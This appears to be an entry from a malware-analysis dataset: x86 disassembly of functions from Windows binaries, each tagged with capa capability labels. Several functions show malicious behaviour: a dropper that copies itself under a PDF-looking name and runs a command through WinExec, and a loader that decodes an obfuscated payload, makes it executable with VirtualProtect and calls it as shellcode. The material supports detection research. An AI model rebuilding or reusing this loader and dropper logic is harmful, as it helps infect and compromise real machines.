joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e3d
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x4127e7
call fcn.00412290
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x28], edi
lea ecx, [esi + 0x30]
mov dword [ebp - 4], edi
call fcn.0040e34c
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x1d30], edi
mov dword [esi], 0x4152d4
mov dword [esi + 4], 0x4152c4
mov dword [esi + 8], 0x4152b0
mov dword [esi + 0xc], 0x4152a0
mov dword [esi + 0x10], 0x41528c
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x401f83
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x41280a
call fcn.00412290
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], 0x4152d4
mov dword [esi + 4], 0x4152c4
mov dword [esi + 8], 0x4152b0
mov dword [esi + 0xc], 0x4152a0
mov dword [esi + 0x10], 0x41528c
push dword [esi + 0x1d30]
lea edi, [esi + 0x1d30]
mov dword [ebp - 4], 1
call fcn.0040aef9
and dword [edi], 0
and byte [ebp - 4], 0
lea ecx, [esi + 0x30]
call fcn.00401ff8
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0x18]
call fcn.0040ae2b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x40754f
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x413073
call fcn.00412290
push ecx
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [ebp - 4], eax
mov dword [esi + 4], eax
mov ecx, dword [ebp + 8]
push 8
mov dword [esi + 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x10]
pop edi
mov edx, 0x4153c8
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], edi
mov dword [ecx], edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], edi
mov dword [esi + 0x24], edx
lea ebx, [esi + 0x38]
mov edx, 0x415220
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], 4
mov dword [ebx], edx
lea edi, [esi + 0x4c]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 4
mov dword [edi], edx
push dword [esi + 8]
mov byte [ebp - 4], 5
call fcn.0040bf6c
push dword [esi + 8]
mov ecx, ebx
call fcn.0040bf6c
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040bf6c
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040bf6c
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x407b04
Capabilities:
Create thread

Disassembly:
mov eax, 0x413229
call fcn.00412290
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [ebp - 0x14], esi
mov dword [esi + 4], 0x415450
lea ecx, [esi + 0xc]
mov dword [esi + 8], edi
call fcn.0040105a
lea ebx, [esi + 0x5c]
push 4
mov ecx, ebx
mov dword [ebp - 4], edi
call fcn.00401a71
mov dword [ebx], 0x415448
lea ebx, [esi + 0x70]
push 4
mov ecx, ebx
mov byte [ebp - 4], 1
call fcn.00401a71
mov dword [ebx], 0x415440
lea eax, [esi + 0x84]
mov ebx, 0x41531c
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], 4
mov dword [eax], ebx
mov dword [esi + 0x98], edi
push edi
push edi
push edi
lea ecx, [esi + 0x9c]
push edi
mov byte [ebp - 4], 4
call fcn.0040e0b3
lea eax, [esi + 0xa0]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov dword [eax + 0x10], 4
mov dword [eax], ebx
push edi
push edi
push edi
lea ecx, [esi + 0xb4]
push edi
mov byte [ebp - 4], 6
call fcn.0040e0b3
push edi
push edi
push edi
lea ecx, [esi + 0xb8]
push 1
mov byte [ebp - 4], 7
call fcn.0040e0b3
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 8
push eax
push edi
push esi
push 0x407c7a
push edi
push edi
mov dword [esi], 0x41542c
mov dword [esi + 4], 0x415420
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 0x98], eax
jne 0x407c0f
lea eax, [ebp - 0x10]
push 0x4159d8
push eax
mov dword [ebp - 0x10], 0x425d1
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x407e6b
Capabilities:
Create thread

Disassembly:
mov eax, 0x4132bb
call fcn.00412290
sub esp, 0xcc
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x78]
mov ecx, dword [edi + 0x18]
push dword [ecx + eax*8 + 4]
lea eax, [ecx + eax*8]
lea ecx, [ebp - 0xd8]
push dword [eax]
call fcn.0040760c
and dword [ebp - 4], 0
lea esi, [edi + 0x70]
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.004086e9
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov ecx, dword [ecx + eax*4 - 4]
call fcn.00407755
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov eax, dword [edi + 0xb8]
mov ecx, dword [edx + ecx*4 - 4]
mov dword [ecx + 0x64], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + eax*4 - 4]
lea ecx, [edi + 0xa0]
mov eax, dword [eax + 0x68]
push dword [eax]
call fcn.004085af
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + eax*4 - 4]
lea ecx, [ebp - 0x14]
push ecx
push 0
push eax
push 0x407f4c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x407f23
lea eax, [ebp - 0x10]
push 0x4159d8
push eax
mov dword [ebp - 0x10], 0x425d0
call sub.MSVCRT.dll__CxxThrowException
push eax
lea ecx, [edi + 0x84]
call fcn.004085af
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd8]
call fcn.004077ca
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40a751
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push edi
xor edi, edi
cmp eax, 5
jae 0x40a767
xor eax, eax
jmp 0x40a8dd
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0x18]
mov edx, ecx
push esi
sub edx, dword [ebx]
cmp edx, 5
jbe 0x40a77d
lea edx, [ecx - 5]
mov dword [ebx], edx
mov esi, dword [ebp + 0x14]
add eax, 0xfffffffb
mov dword [ebp - 4], eax
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 8]
mov al, byte [edi + edx]
cmp al, 0xe8
je 0x40a7a0
cmp al, 0xe9
je 0x40a7a0
inc edi
inc dword [ebp + 0xc]
jmp 0x40a8d0
mov eax, dword [ebp + 0xc]
mov ecx, edi
sub ecx, dword [ebx]
mov dword [ebx], eax
add ecx, dword [ebp + 0x10]
cmp ecx, 5
jbe 0x40a7b6
and dword [esi], 0
jmp 0x40a7c6
test ecx, ecx
jbe 0x40a7c6
mov eax, dword [esi]
and eax, 0x77
shl eax, 1
dec ecx
mov dword [esi], eax
jne 0x40a7ba
mov cl, byte [edi + edx + 4]
lea eax, [edi + edx + 4]
test cl, cl
je 0x40a7db
cmp cl, 0xff
jne 0x40a8b8
mov ebx, dword [esi]
mov dword [ebp + 0x14], ebx
shr dword [ebp + 0x14], 1
mov ebx, dword [ebp + 0x14]
and ebx, 7
cmp dword [ebx*4 + 0x41552c], 0
je 0x40a8b5
mov ebx, dword [esi]
and ebx, 0xfffffffe
cmp ebx, 0x20
jae 0x40a8b5
xor ebx, ebx
mov bh, cl
mov bl, byte [edi + edx + 3]
movzx ecx, byte [edi + edx + 2]
shl ebx, 8
or ebx, ecx
movzx ecx, byte [edi + edx + 1]
shl ebx, 8
or ebx, ecx
mov edx, ebx
cmp dword [ebp + 0x1c], 0
je 0x40a832
mov ecx, dword [ebp + 0xc]
lea ebx, [ecx + edx + 5]
jmp 0x40a83c
sub edx, edi
sub edx, dword [ebp + 0x10]
sub edx, 5
mov ebx, edx
mov ecx, dword [esi]
test ecx, ecx
je 0x40a87f
mov ecx, dword [ebp + 0x14]
push 0x18
movzx ecx, byte [ecx + 0x41554c]
shl ecx, 3
mov edx, ecx
pop ecx
sub ecx, edx
mov edx, ebx
shr edx, cl
test dl, dl
je 0x40a863
cmp dl, 0xff
jne 0x40a87f
mov edx, dword [ebp + 0x14]
push 4
pop ecx
movzx edx, byte [edx + 0x41554c]
sub ecx, edx
push 1
shl ecx, 3
pop edx
shl edx, cl
dec edx
xor edx, ebx
jmp 0x40a823
mov ecx, ebx
add dword [ebp + 0xc], 5
shr ecx, 0x18
and cl, 1
add edi, 5
dec cl
not cl
mov byte [eax], cl
mov eax, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + eax - 2], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + eax - 3], cl
mov byte [edi + eax - 4], bl
and dword [esi], 0
mov ebx, dword [ebp + 0x18]
jmp 0x40a8d0
mov ebx, dword [ebp + 0x18]
or dword [esi], 1
mov al, byte [eax]
mov ecx, dword [esi]
inc edi
inc dword [ebp + 0xc]
test al, al
je 0x40a8cb
cmp al, 0xff
jne 0x40a8d0
or ecx, 0x10
mov dword [esi], ecx
cmp edi, dword [ebp - 4]
jbe 0x40a789
pop esi
mov eax, edi
pop ebx
pop edi
leave
ret 0x18

Function at 0x40b51f
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jbe 0x40b54a
push ebx
push edi
movzx edi, byte [edx]
movzx ebx, al
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x419590]
xor eax, edi
inc edx
dec esi
jne 0x40b530
pop edi
pop ebx
mov dword [ecx], eax
pop esi
ret 8
Function at 0x40ca93
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x40caa7
xor al, al
jmp 0x40cab7
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
neg eax
ret 4

Function at 0x40cb4e
Capabilities:
Delete directory
Set file attributes

Disassembly:
mov eax, 0x4138c4
call fcn.00412290
sub esp, 0x6c
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.0040d2c1
mov esi, dword [ebp + 8]
push 0x5c
lea eax, [ebp - 0x18]
xor ebx, ebx
push esi
push eax
mov dword [ebp - 4], ebx
call fcn.0040d4f2
lea eax, [ebp - 0x18]
push 0x2a
push eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 4], 1
call fcn.0040d4f2
mov byte [ebp - 0x34], bl
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.0040b854
push dword [ebp - 0x24]
mov byte [ebp - 4], 5
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
lea eax, [ebp - 0x78]
lea ecx, [ebp - 0x38]
push eax
call fcn.0040d9f9
test al, al
je 0x40cc0d
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x18]
sub esp, 0xc
mov ecx, esp
mov dword [ebp + 8], esp
push eax
call fcn.0040b854
call fcn.0040cc78
cmp al, bl
jne 0x40cba9
push dword [ebp - 0x30]
mov byte [ebp - 4], 6
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.0040d5ae
push dword [ebp - 0x18]
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x48]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor al, al
pop ecx
jmp 0x40cc63
push dword [ebp - 0x30]
mov byte [ebp - 4], 7
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.0040d5ae
mov eax, dword [esi]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x40cc39
mov byte [ebp + 0xb], bl
jmp 0x40cc47
push dword [esi]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne byte [ebp + 0xb]
push dword [ebp - 0x18]
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x48]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov al, byte [ebp + 0xb]
pop ecx
pop ecx
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4

Function at 0x40d02d
Capabilities:
Get common file path

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov ebx, 0x104
push edi
mov edi, 0x105
cmp dword [esi + 8], ebx
jg 0x40d04b
push edi
mov ecx, esi
call fcn.0040b88a
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, esi
mov edi, eax
call fcn.0040d320
test edi, edi
jbe 0x40d06a
cmp edi, ebx
ja 0x40d06a
push 1
pop eax
jmp 0x40d06c
xor eax, eax
pop edi
pop esi
pop ebx
ret 4
Function at 0x40d198
Capabilities:
Delete file

Disassembly:
mov eax, 0x413968
call fcn.00412290
sub esp, 0x10
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
lea ecx, [ebp - 0x1c]
call fcn.0040d251
push esi
lea ecx, [ebp - 0x1c]
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.0040d0e5
test al, al
je 0x40d22a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x40d211
push dword [esi]
call fcn.0040d95c
test al, al
je 0x40d1f5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040d174
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x40d1ac
push dword [esi]
call fcn.0040c7de
test al, al
jne 0x40d20f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40d22a
jmp 0x40d1de
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040d174
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov al, bl
jmp 0x40d241
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.0040d174
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40d7cb
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x413a1c
call fcn.00412290
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 1
mov eax, dword [esi]
push 0
mov dword [edi], eax
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
mov eax, dword [esi + 0x18]
push 0
mov dword [edi + 0x18], eax
push dword [esi + 0x1c]
call fcn.00412450
mov ecx, dword [esi + 0x20]
xor ebx, ebx
add eax, ecx
lea ecx, [ebp - 0x18]
mov dword [edi + 0x20], eax
lea eax, [esi + 0x2c]
adc edx, ebx
push eax
mov dword [edi + 0x24], edx
call fcn.0040d2d9
and dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
neg eax
sbb eax, eax
inc eax
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0040d88b
push eax
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 1
call fcn.0040b123
push dword [ebp - 0x24]
and byte [ebp - 4], bl
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0x24]
pop ecx
pop ecx
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x40db67
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40db8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40db8e
xor al, al
jmp 0x40dbae
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00412450
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x411452
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [esi], eax
test eax, eax
setne cl
mov al, cl
pop esi
pop ebp
ret 0x18

Function at 0x411480
Capabilities:
Hide graphical window

Disassembly:
mov eax, 0x4140c8
call fcn.00412290
sub esp, 0xc
push esi
mov esi, ecx
push edi
push dword [ebp + 8]
lea edi, [esi + 0x68]
lea ecx, [edi + 0xc]
call fcn.0040b123
push 0
push 0x1f4
mov ecx, edi
call fcn.0040c37f
lea eax, [ebp - 0x18]
push 0x45
push eax
call fcn.0040dfbc
mov eax, dword [eax]
and dword [ebp - 4], 0
add esi, 0x6c
push eax
mov ecx, esi
call fcn.0040e115
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push 1
push dword [esi]
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0xc]
pop edi
xor eax, eax
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x411623
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x414152
call fcn.00412290
push ecx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x10], esi
mov dword [esi + 4], edi
mov dword [esi], 0x4156c4
lea ecx, [esi + 0xc]
mov dword [esi + 8], edi
push 0xf
mov dword [ebp - 4], edi
mov dword [ecx], edi
mov dword [ecx + 4], edi
mov dword [ecx + 8], edi
call fcn.00403f94
push edi
push edi
push edi
lea ecx, [esi + 0x38]
push 1
mov byte [ebp - 4], 1
mov dword [esi + 0x30], edi
call fcn.0040e0b3
lea ecx, [esi + 0x40]
mov byte [ebp - 4], 2
call fcn.004116b7
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x415694
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x100014a0
Capabilities:
Encode data using base64
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
mov esi, eax
mov dword [ebp - 4], eax
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100014b3
sub esi, ecx
lea eax, [esi + 1]
push eax
call fcn.10007896
add esp, 4
xor ebx, ebx
mov edi, eax
test esi, esi
jle 0x100014fd
sub dword [ebp - 4], edi
mov dword [ebp - 8], 0xc
nop word [eax + eax]
xor edx, edx
lea ecx, [ebx + edi]
mov eax, ebx
inc ebx
div dword [ebp - 8]
mov al, byte [edx + 0x1001a90c]
mov edx, dword [ebp - 4]
xor al, byte [ecx + edx]
mov byte [ecx], al
cmp ebx, esi
jl 0x100014e0
lea ecx, [esi*4]
mov byte [edi + esi], 0
mov eax, 0xaaaaaaab
lea ebx, [edi + esi]
mul ecx
mov eax, 0x38e38e39
mov ecx, edx
shr ecx, 1
add ecx, 4
mul ecx
shr edx, 4
lea eax, [edx + 1]
add eax, ecx
push eax
call fcn.10007896
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000153f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 3
jl 0x100015a9
movzx ecx, byte [edi]
sub esi, 3
shr ecx, 2
movzx ecx, byte [ecx + 0x1001ab08]
mov byte [eax], cl
inc eax
movzx edx, byte [edi]
movzx ecx, byte [edi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + 0x1001ab08]
mov byte [eax], cl
inc eax
movzx edx, byte [edi + 1]
movzx ecx, byte [edi + 2]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + 0x1001ab08]
mov byte [eax], cl
inc eax
movzx ecx, byte [edi + 2]
add edi, 3
and ecx, 0x3f
movzx ecx, byte [ecx + 0x1001ab08]
mov byte [eax], cl
inc eax
cmp esi, 3
jge 0x10001544
sub ebx, edi
je 0x100015ff
movzx ecx, byte [edi]
shr ecx, 2
mov cl, byte [ecx + 0x1001ab08]
mov byte [eax], cl
inc eax
movzx edx, byte [edi]
and edx, 3
shl edx, 4
cmp ebx, 1
jne 0x100015d6
mov cl, byte [edx + 0x1001ab08]
mov dl, 0x3d
mov byte [eax], cl
jmp 0x100015f5
movzx ecx, byte [edi + 1]
shr ecx, 4
or ecx, edx
mov cl, byte [ecx + 0x1001ab08]
mov byte [eax], cl
movzx ecx, byte [edi + 1]
and ecx, 0xf
mov dl, byte [ecx*4 + 0x1001ab08]
mov byte [eax + 1], dl
mov byte [eax + 2], 0x3d
add eax, 3
pop edi
pop esi
mov byte [eax], 0
mov eax, dword [ebp - 8]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001610
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
lea eax, [ebp - 0x200]
push 0
push eax
push 0x104
push 0x1001aa80
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea ecx, [ebp - 0x200]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001640
mov eax, dword [str.Document]
mov dword [ecx], eax
mov eax, dword [0x1001aa88]
mov dword [ecx + 4], eax
mov ax, word [0x1001aa8c]
mov word [ecx + 8], ax
lea eax, [ebp - 0x200]
push eax
push str._s.pdf
lea eax, [ebp - 0x600]
push 0x400
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x600]
push 0
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x100016dc
mov ecx, str.qNEMrTRzk9KLwMgLjOeoLA
call fcn.10001400
lea ecx, [ebp - 0x600]
push ecx
push eax
push str._s___s_
lea eax, [ebp - 0xa00]
push 0x400
push eax
call fcn.10001010
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
add esp, 0x14
test eax, eax
je 0x100016dc
push 0
lea ecx, [ebp - 0xa00]
push ecx
call eax
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10001cc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001d11
push esi
push 0
push 0
push 0
push sym.wtsapi32.dll__WTSSetRenderHints_0
push 0
push 0
call fcn.10005a7e
add esp, 0x18
call fcn.10005435
lea esi, [eax + 0x7d0]
nop dword [eax]
call fcn.10005435
cmp eax, esi
jl 0x10001cf0
pop esi
push 0
push 0
push 0
push sym.wtsapi32.dll__WTSVirtualChannelsPurgeOutput_0
push 0
push 0
call fcn.10005a7e
add esp, 0x18
mov eax, 1
pop ebp
ret 0xc
Function at 0x10001d20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.100019c0
mov edi, eax
mov dword [esp + 0x14], edi
test edi, edi
je 0x10001efc
push edi
mov ecx, str.Dp8vO33We3NMESnyhQOQTpjEJ83awnPewuQrxA
call fcn.10001400
mov ecx, eax
call fcn.100016f0
add esp, 4
mov dword [esp + 0x24], edx
mov ebx, eax
cmp edx, 0x194
je 0x10001ede
mov eax, edx
nop dword [eax + eax]
cmp edx, 0xdc
je 0x10001ea5
cmp eax, 0xc8
jne 0x10001ee6
cmp byte [ebx], 0
je 0x10001ee6
mov ecx, str.IBARI17YjMtnO_aNJ5tUg
call fcn.10001400
mov ecx, str.5QIBMxJ18xcjH32UdFk_w
mov dword [esp + 0x18], eax
call fcn.10001400
mov ecx, ebx
xor esi, esi
mov edi, eax
test ecx, ecx
je 0x10001e22
push edi
push ebx
call fcn.10002c50
mov ecx, eax
add esp, 8
test ecx, ecx
je 0x10001e26
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x10001dc5
sub edi, edx
lea ebx, [edi + ecx]
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x10001e26
push dword [esp + 0x18]
push ebx
call fcn.10002c50
mov edi, eax
add esp, 8
test edi, edi
je 0x10001e26
sub edi, ebx
lea ecx, [edi + 1]
push ecx
call fcn.10007896
add esp, 4
mov ebx, eax
push edi
push dword [esp + 0x20]
push ebx
call fcn.10007660
add esp, 0xc
mov byte [edi + ebx], 0
test ebx, ebx
je 0x10001e26
mov esi, ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001e17
sub esi, ecx
jmp 0x10001e28
xor ebx, ebx
jmp 0x10001e28
mov ebx, esi
test esi, esi
je 0x10001ea1
call fcn.10005435
lea esi, [eax + 0x7d0]
call fcn.10005435
cmp eax, esi
jl 0x10001e37
mov dword [esp + 0x20], 0
mov esi, ebx
nop word [eax + eax]
movzx eax, byte [esi]
inc esi
cmp byte [eax + str.________________________________________________456789:_________], 0x3f
jbe 0x10001e50
mov ecx, ebx
call fcn.10001350
mov edi, eax
sub esi, ebx
lea eax, [esp + 0x20]
push eax
push 0x40
lea eax, [esi + 2]
cdq
and edx, 3
add eax, edx
sar eax, 2
lea eax, [eax + eax*2]
inc eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10001e8d
call edi
call fcn.10005435
lea esi, [eax + 0x2710]
call fcn.10005435
cmp eax, esi
jl 0x10001e98
mov edi, dword [esp + 0x14]
call fcn.10005435
lea esi, [eax + 0x7530]
call fcn.10005435
cmp eax, esi
jl 0x10001eb0
push edi
mov ecx, str.Dp8vO33We3NMESnyhQOQTpjEJ83awnPewuQrxA
call fcn.10001400
mov ecx, eax
call fcn.100016f0
add esp, 4
mov ebx, eax
mov eax, edx
cmp edx, 0x194
jne 0x10001d70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10005435
lea esi, [eax + 0xea60]
call fcn.10005435
cmp eax, esi
jl 0x10001ef1
jmp 0x10001ea5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10007c78
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10007cb7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10007cb7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10007cb7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10007cb7
cmp dword [ecx + 0x74], 0xe
jbe 0x10007cb7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret